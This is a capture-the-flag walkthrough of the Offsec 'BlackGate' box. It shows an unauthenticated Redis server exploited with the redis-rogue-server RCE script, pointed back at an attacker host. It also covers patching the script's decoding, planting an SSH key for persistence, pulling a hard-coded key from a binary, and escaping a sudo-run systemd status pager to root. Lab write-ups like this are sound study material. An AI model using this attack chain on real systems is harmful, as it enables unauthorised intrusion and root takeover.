BlackGate
BlackGate is a hard box on Offsec PG that revolves exploiting Redis server. You can also learn about how to debug and fix broken exploit scripts, as well as some rudimentary reverse engineering.
Attacker IP: 192.168.45.229
Target IP: 192.168.237.176
Enumeration
Nmap Scan:
$ nmap -A -p- 192.168.237.176 -oN nmap -T4
Nmap scan report for 192.168.237.176
Host is up (0.052s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
| 256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
|_ 256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
6379/tcp open redis Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
As we can see, port 6379 is open, where Nmap reported that Redis 4.0.14 is running. But what is redis? According to this IBM article (link), “Redis (REmote DIctionary Server) is an open source, in-memory, NoSQL key/value store that is used primarily as an application cache or quick-response database.” To us, this could mean that there are interesting data stored on it.
We can connect to the Redis server by downloading redis on our respective Linux distribution and then use the redis-cli
tool:
$ redis-cli -h 192.168.237.176
As we can see, we have unauthenticated access to the Redis server and we are allowed to execute command.
Initial Foothold
After a little bit of research, I found this HackTricks article (link) that an RCE is present in all Redis <=5.0.5. It also provided a link to an exploit named redis-rogue-server.
We can try to run the exploit with the following command, but you would frequently find this kind of error about illegal byte sequences shown in the screenshot below:
$ python redis-rogue-server.py --rhost 192.168.237.176 --lhost 192.168.45.229
I began looking into the exploit code itself. On line 55, the original author used gb18030, an encoding for Chinese characters, to decode the data returned from the server. That is not gonna do us any good. I replaced the encoding with latin-1, and the exploit stopped giving me errors and I was able to execute command on the target.
return msg.decode('latin-1')
With the exploit working, let’s set up a reverse shell.
Privilege Escalation
Note: I established persistence by creating an SSH key pair and copying the public key to /home/prudence/.ssh/authorized_keys
, which allows me to login directly via SSH
We have found a note.txt in the home directory of user prudence. Here are its contents:
The note hints at a redis-status implemented for this server. Upon further investigation, we can see that the user prudence can run redis-status with sudo as root.
$ sudo -l
Unfortunately, redis-status is an ELF executable only writable by root. So we can’t simply add reverse shell to the executable and get root.
I ran redis-status with sudo, and the program asks me for a authorization key.
Let’s check the program to see if the authorization key is hard-coded.
$ strings /usr/local/bin/redis-status
Among the string literals found in this binary, we can see ClimbingParrotKickingDonkey321
, which look suspiciously like a password and may be the authorization key we are looking for.
If we enter ClimbingParrotKickingDonkey321
as the authorization key, we can see the program presents us with the systemd status of the redis server.
Now if you know systemd and its interfaces, you would know that if you press !
in the status window, you can execute code from the context of the systemd status command. Since we ran the program executed the systemd status command as root, we can turn this into a privilege escalation vector. I have successfully ran bash as root from the systemd status window.
Takeaways
Often times, exploit scripts you find on the internet don’t always work out of the box. This could be because that it might be built for a different version of the target software that is vulnerable to the same vulnerability. Or in this case, the target software the exploit author ran against is using an encoding for a different language. That’s why we can’t be script kiddies and we must read and understand the script so that we can fix it before issues arise.